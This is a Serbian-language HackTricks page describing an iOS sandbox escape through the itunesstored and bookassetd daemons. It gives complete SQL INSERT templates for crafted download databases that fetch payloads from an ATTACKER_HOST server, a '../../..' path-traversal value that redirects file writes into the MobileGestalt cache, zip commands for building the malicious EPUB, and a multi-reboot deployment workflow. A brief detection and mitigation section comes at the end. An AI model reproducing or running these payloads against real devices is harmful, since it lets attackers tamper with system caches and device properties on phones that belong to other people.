itunesstored & bookassetd Sandbox Escape

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pregled

Nedavno istraživanje pokazuje da dva preinstalirana iOS daemona, itunesstored (menadžer preuzimanja) i bookassetd (Books / iBooks menadžer sadržaja), slepo veruju korisnički upisivim SQLite metapodacima. Postavljanjem ciljano izrađenih fajlova downloads.28.sqlitedb i BLDatabaseManager.sqlite zajedno sa minimalnim EPUB arhivom, napadač koji može pisati u /var/mobile/Media/ može naterati ove daemone da izvrše proizvoljna upisivanja fajlova na većinu mobile-vlasničkih puteva unutar /private/var/. Ovi primitivni mehanizmi preživljavaju restart uređaja i omogućavaju vam da manipulišete keševima system group-ova kao što je systemgroup.com.apple.mobilegestaltcache kako biste lažirali svojstva uređaja ili perzistirali konfiguraciju.

Ključna svojstva:

  • Radi na uređajima do najmanje iOS 26.2b1 (testirano na iPhone 12 / iOS 26.0.1).
  • Ciljevi na koje se može pisati uključuju keševe SystemGroup, /private/var/mobile/Library/FairPlay, /private/var/mobile/Media i druge fajlove u vlasništvu mobile. Pisanja na fajlove u vlasništvu root ne uspevaju.
  • Potrebno je samo AFC-level pristup (USB kopiranje fajlova) ili bilo koja početna kontrola koja vam omogućava da zamenite ciljne SQLite DB-ove i otpremite payload-e.

Model pretnji i zahtevi

  1. Lokalni pristup fajl sistemu do /var/mobile/Media/Downloads/ i /var/mobile/Media/Books/ (putem AFC klijenata kao što su 3uTools, i4.cn, ili afcclient preko USB-a, ili bilo koje prethodne kompromitacije).
  2. HTTP server koji hostuje napadačeve fajlove (BLDatabaseManager.sqlite, iTunesMetadata.plist, crafted EPUB) izložen putem URL-ova kao što je https://ATTACKER_HOST/fileprovider.php?type=....
  3. Mogućnost da restartujete uređaj više puta kako bi svaki daemon ponovo učitao svoju bazu podataka.
  4. Poznavanje Books system-group UUID tako da Stage 1 upis završi u pravom kontejneru (nalazi se preko sysloga).

Stage 1 – Zloupotreba downloads.28.sqlitedb preko itunesstored

itunesstored procesuira /var/mobile/Media/Downloads/downloads.28.sqlitedb. Tabela asset čuva URL + destinacione metapodatke i smatra se pouzdanim ulazom. Kreiranjem reda koji pokazuje na napadačev URL i postavljanjem local_path na .../Documents/BLDatabaseManager/BLDatabaseManager.sqlite unutar Books SystemGroup-a, itunesstored će preuzeti i prepisati Books bazu podataka sadržajem napadača pri pokretanju.

Pronađite Books SystemGroup UUID

  1. Sakupite syslog arhivu pomoću pymobiledevice3:
pymobiledevice3 syslog collect logs.logarchive
  1. Otvorite logs.logarchive u Console.app i potražite bookassetd [Database]: Store is at file:///private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite.
  2. Zabeležite <UUID> i zamenite ga u SQL payload-u.

Maliciozni asset red

Stage 1 INSERT template ```sql INSERT INTO "main"."asset" ( "pid","download_id","asset_order","asset_type","bytes_total", "url","local_path","destination_url","path_extension","retry_count", "http_method","initial_odr_size","is_discretionary","is_downloaded", "is_drm_free","is_external","is_hls","is_local_cache_server", "is_zip_streamable","processing_types","video_dimensions", "timeout_interval","store_flavor","download_token","blocked_reason", "avfoundation_blocked","service_type","protection_type", "store_download_key","etag","bytes_to_hash","hash_type","server_guid", "file_protection","variant_id","hash_array","http_headers", "request_parameters","body_data","body_data_file_path","sinfs_data", "dpinfo_data","uncompressed_size","url_session_task_id" ) VALUES ( 1234567890,6936249076851270150,0,'media',NULL, 'https://ATTACKER_HOST/fileprovider.php?type=sqlite', '/private/var/containers/Shared/SystemGroup//Documents/BLDatabaseManager/BLDatabaseManager.sqlite', NULL,'epub',6,'GET',NULL,0,0,0,1,0,0,0,0, NULL,60,NULL,466440000,0,0,0,0,'',NULL,NULL,0, NULL,NULL,NULL,X'62706c6973743030a1015f1020...',NULL,NULL,NULL,NULL,NULL,NULL,0,1 ); ```

Polja koja su bitna:

  • url: endpoint pod kontrolom napadača koji vraća zlonamerni BLDatabaseManager.sqlite.
  • local_path: Books system-group BLDatabaseManager.sqlite fajl određen gore.
  • Kontrolne zastavice: zadržite podrazumevane vrednosti (asset_type='media', path_extension='epub', booleovi postavljeni na 0/1 kao u šablonu) tako da daemon prihvati zadatak.

Raspoređivanje

  1. Obrišite zastarele unose u /var/mobile/Media/Downloads/* da biste izbegli trke.
  2. Zamenite downloads.28.sqlitedb napravljenom DB preko AFC.
  3. Reboot → itunesstored preuzima Stage 2 bazu i ispušta /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist.
  4. Kopirajte taj plist u /var/mobile/Media/Books/iTunesMetadata.plist; Stage 2 očekuje da se nalazi na toj lokaciji.

Stage 2 – Zloupotreba BLDatabaseManager.sqlite preko bookassetd

bookassetd poseduje šira fajl-sistem ovlašćenja i veruje tabeli ZBLDOWNLOADINFO. Ubacivanjem lažnog reda kupovine koji referencira URL-ove napadača i traversal u ZPLISTPATH, daemon preuzima vaš EPUB u /var/mobile/Media/Books/asset.epub i kasnije raspakuje metapodatke u bilo koji put u vlasništvu mobile dostupan kroz ../../.. sekvence za bekstvo.

Zlonamerni ZBLDOWNLOADINFO red

Šablon INSERT-a za Stage 2 ```sql INSERT INTO "ZBLDOWNLOADINFO" ( "Z_PK","Z_ENT","Z_OPT","ZACCOUNTIDENTIFIER","ZCLEANUPPENDING", "ZFAMILYACCOUNTIDENTIFIER","ZISAUTOMATICDOWNLOAD","ZISLOCALCACHESERVER", "ZISPURCHASE","ZISRESTORE","ZISSAMPLE","ZISZIPSTREAMABLE", "ZNUMBEROFBYTESTOHASH","ZPERSISTENTIDENTIFIER","ZPUBLICATIONVERSION", "ZSERVERNUMBEROFBYTESTOHASH","ZSIZE","ZSTATE","ZSTOREIDENTIFIER", "ZSTOREPLAYLISTIDENTIFIER","ZLASTSTATECHANGETIME","ZPURCHASEDATE", "ZSTARTTIME","ZARTISTNAME","ZARTWORKPATH","ZASSETPATH", "ZBUYPARAMETERS","ZCANCELDOWNLOADURL","ZCLIENTIDENTIFIER", "ZCOLLECTIONARTISTNAME","ZCOLLECTIONTITLE","ZDOWNLOADID", "ZDOWNLOADKEY","ZENCRYPTIONKEY","ZEPUBRIGHTSPATH","ZFILEEXTENSION", "ZGENRE","ZHASHTYPE","ZKIND","ZMD5HASHSTRINGS","ZORIGINALURL", "ZPERMLINK","ZPLISTPATH","ZSALT","ZSUBTITLE","ZTHUMBNAILIMAGEURL", "ZTITLE","ZTRANSACTIONIDENTIFIER","ZURL","ZRACGUID","ZDPINFO", "ZSINFDATA","ZFILEATTRIBUTES" ) VALUES ( 1,2,3,0,0,0,0,'',NULL,NULL,NULL,NULL, 0,0,0,NULL,4648,2,'765107108',NULL, 767991550.119197,NULL,767991353.245275,NULL,NULL, '/private/var/mobile/Media/Books/asset.epub', 'productType=PUB&salableAdamId=765107106&...', 'https://p19-buy.itunes.apple.com/...', '4GG2695MJK.com.apple.iBooks','Sebastian Saenz','Cartas de Amor a la Luna', '../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library', NULL,NULL,NULL,NULL,'Contemporary Romance',NULL,'ebook',NULL,NULL,NULL, '/private/var/mobile/Media/Books/iTunesMetadata.plist',NULL, 'Cartas de Amor a la Luna','https://ATTACKER_HOST/fileprovider.php?type=gestalt', 'Cartas de Amor a la Luna','J19N_PUB_190099164604738', 'https://ATTACKER_HOST/fileprovider.php?type=gestalt2',NULL,NULL,NULL,NULL ); ```

Važna polja:

  • ZASSETPATH: on-disk EPUB location controlled by the attacker.
  • ZURL/ZPERMLINK: attacker URLs hosting the EPUB and auxiliary plist.
  • ZPLISTPATH: ../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library – the path traversal base appended to files extracted from the EPUB. Adjust traversal depth to reach the desired SystemGroup target.
  • Purchase metadata (ZSTOREIDENTIFIER, names, timestamps) oponašaju legitimne unose tako da daemon ne odbaci red.

Nakon kopiranja zlonamernog DB-a u /private/var/containers/Shared/SystemGroup/<UUID>/Documents/BLDatabaseManager/BLDatabaseManager.sqlite (zahvaljujući Stage 1) i restartovanja sistema dva puta, bookassetd će (1) preuzeti EPUB, (2) obraditi ga i upisati izvedeni plist pod traversiranom putanjom.

Kreiranje EPUB Payload-a

bookassetd poštuje EPUB ZIP format: mimetype mora biti prvi nekompresovani unos. Da biste mapirali sadržaj EPUB-a u MobileGestalt cache, izgradite strukturu direktorijuma koja preslikava željenu putanju relativno u odnosu na ZPLISTPATH.

Caches/
├── mimetype
└── com.apple.MobileGestalt.plist

Kreirajte arhivu:

zip -X0 hax.epub Caches/mimetype
zip -Xr9D hax.epub Caches/com.apple.MobileGestalt.plist
  • mimetype tipično sadrži literal application/epub+zip.
  • Caches/com.apple.MobileGestalt.plist sadrži payload pod kontrolom napadača koji će završiti na .../Library/Caches/com.apple.MobileGestalt.plist.

Orchestration Workflow

  1. Prepare files na napadačevom HTTP serveru i pripremite oba SQLite DB-a sa vrednostima specifičnim za host/UUID.
  2. Replace downloads.28.sqlitedb na uređaju i restartujte → Stage 1 preuzima maliciozni BLDatabaseManager.sqlite i emituje /var/mobile/Media/iTunes_Control/iTunes/iTunesMetadata.plist.
  3. Copy iTunesMetadata.plist u /var/mobile/Media/Books/iTunesMetadata.plist (ponovite ako daemon obriše).
  4. Reboot againbookassetd preuzima asset.epub u /var/mobile/Media/Books/ koristeći Stage 2 metadata.
  5. Reboot a third timebookassetd obrađuje preuzeti asset, sledi ZPLISTPATH i upisuje sadržaj EPUB-a u ciljanu SystemGroup putanju (npr. com.apple.MobileGestalt.plist).
  6. Verify čitanjem prepisanog plist-a ili uočavanjem da se svojstva izvedena iz MobileGestalt (model identifier, activation flags, itd.) odgovarajuće menjaju.

Isti obrazac omogućava da ubacite fajlove u druge keševe u vlasništvu mobile, kao što su FairPlay state ili persistence direktorijumi, omogućavajući prikriveno menjanje bez potrebe za kernel exploit.

Tooling & Operational Notes

  • pymobiledevice3 syslog collect logs.logarchive – izvucite log arhive kako biste otkrili Books SystemGroup UUID.
  • Console.app – filtrirajte za bookassetd [Database]: Store is at ... da biste otkrili tačan put kontejnera.
  • AFC clients (afcclient, 3uTools, i4.cn) – push/pull SQLite DBs i plist fajlove preko USB bez jailbreak.
  • zip – primenite EPUB ograničenja redosleda prilikom pakovanja payloads.
  • Public PoChttps://github.com/hanakim3945/bl_sbx sadrži osnovne SQLite/EPUB template-e koje možete prilagoditi.

Detection & Mitigation Ideas

  • Smatrajte downloads.28.sqlitedb i BLDatabaseManager.sqlite nepouzdanim ulazom: validirajte da local_path / ZPLISTPATH ostanu unutar odobrenih sandboksa i odbacite fully qualified paths ili traversal tokens.
  • Pratite AFC writes koji zamenjuju ove baze podataka ili neočekivana preuzimanja pokrenuta od strane itunesstored / bookassetd ubrzo nakon podizanja sistema.
  • Ojačajte raspakivanje bookassetd tako što ćete pozvati realpath() nad ciljem izlaza i osigurati da ne može da izađe iz Books containera pre upisa fajlova.
  • Ograničite AFC / USB kanale za kopiranje fajlova ili zahtevajte korisničku interakciju pre nego što dozvolite zamenu Books/iTunes metadata fajlova.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks